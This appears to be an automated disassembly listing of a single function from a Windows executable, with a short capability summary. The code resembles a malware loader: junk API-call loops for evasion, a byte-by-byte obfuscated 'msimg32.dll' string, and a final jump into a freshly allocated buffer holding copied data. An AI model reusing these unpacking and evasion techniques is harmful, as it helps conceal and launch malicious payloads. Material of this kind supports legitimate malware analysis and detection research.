Function at 0x403650
Capabilities:
Get disk size
Get file attributes
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x45aa78
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x403694
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x4036a5
inc esi
cmp esi, 0x67d12
jl 0x403680
cmp dword [0x46baf4], 0x93
jne 0x403785
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCA]
xor esi, esi
push esi
lea eax, [ebp - 0x838]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
xor ecx, ecx
lock bts dword [ecx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
push 0x402dc0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2c], 0
call fcn.00404c80
add esp, 4
push eax
push 0x402dc0
lea ecx, [ebp - 0x30]
call fcn.004042b0
push esi
mov dword [ebp - 4], esi
call fcn.00404a95
add esp, 4
push esi
push esi
call fcn.00404f80
push esi
call fcn.00404f46
add esp, 0xc
push esi
push esi
call fcn.00404f75
push esi
push esi
call fcn.00404a7e
push esi
call fcn.00404f2f
add esp, 0x14
call fcn.00403640
push esi
push esi
call fcn.004050e7
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x403785
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00404fc5
add esp, 4
mov eax, dword [0x46baf4]
mov edx, dword [0x45fe94]
add eax, 0x1134b
push eax
push 0
mov dword [0x46c930], edx
mov dword [0x46baf4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x46b580], eax
call fcn.00403580
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x4037b8
cmp dword [0x46baf4], esi
jbe 0x403840
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x4037e0
mov eax, dword [0x46c930]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x46b580]
mov byte [edx + esi], cl
cmp dword [0x46baf4], 0x490
jne 0x403837
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc esi
cmp esi, dword [0x46baf4]
jb 0x4037e0
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x46baf4]
add ecx, eax
cmp ecx, 0x8d
jne 0x40389d
push 0
lea edx, [ebp - 0x838]
push edx
push 0
push 0
push 0
push 0
call esi
push 0x402ddc
push 0x402df4
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x403857
call fcn.00403440
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4038cf
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
add dword [0x46b580], ecx
inc esi
cmp esi, 0x674bd
jl 0x4038b1
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x46baf4], 0x86
jne 0x40392b
push 0
call esi
push 0
lea edx, [ebp - 0x838]
push edx
push 0x402e0c
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
cmp dword [0x46baf4], 0xf
jne 0x403940
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x4038f1
mov cl, 0x6c
mov al, 0x6d
push 0x462c10
mov byte [0x462c19], cl
mov byte [0x462c13], al
mov byte [0x462c14], 0x67
mov byte [0x462c18], 0x64
mov byte [0x462c1b], 0
mov byte [0x462c1a], cl
mov byte [0x462c17], 0x2e
mov byte [0x462c16], 0x32
mov byte [0x462c10], al
mov byte [0x462c12], 0x69
mov byte [0x462c15], 0x33
mov byte [0x462c11], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x46b580]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret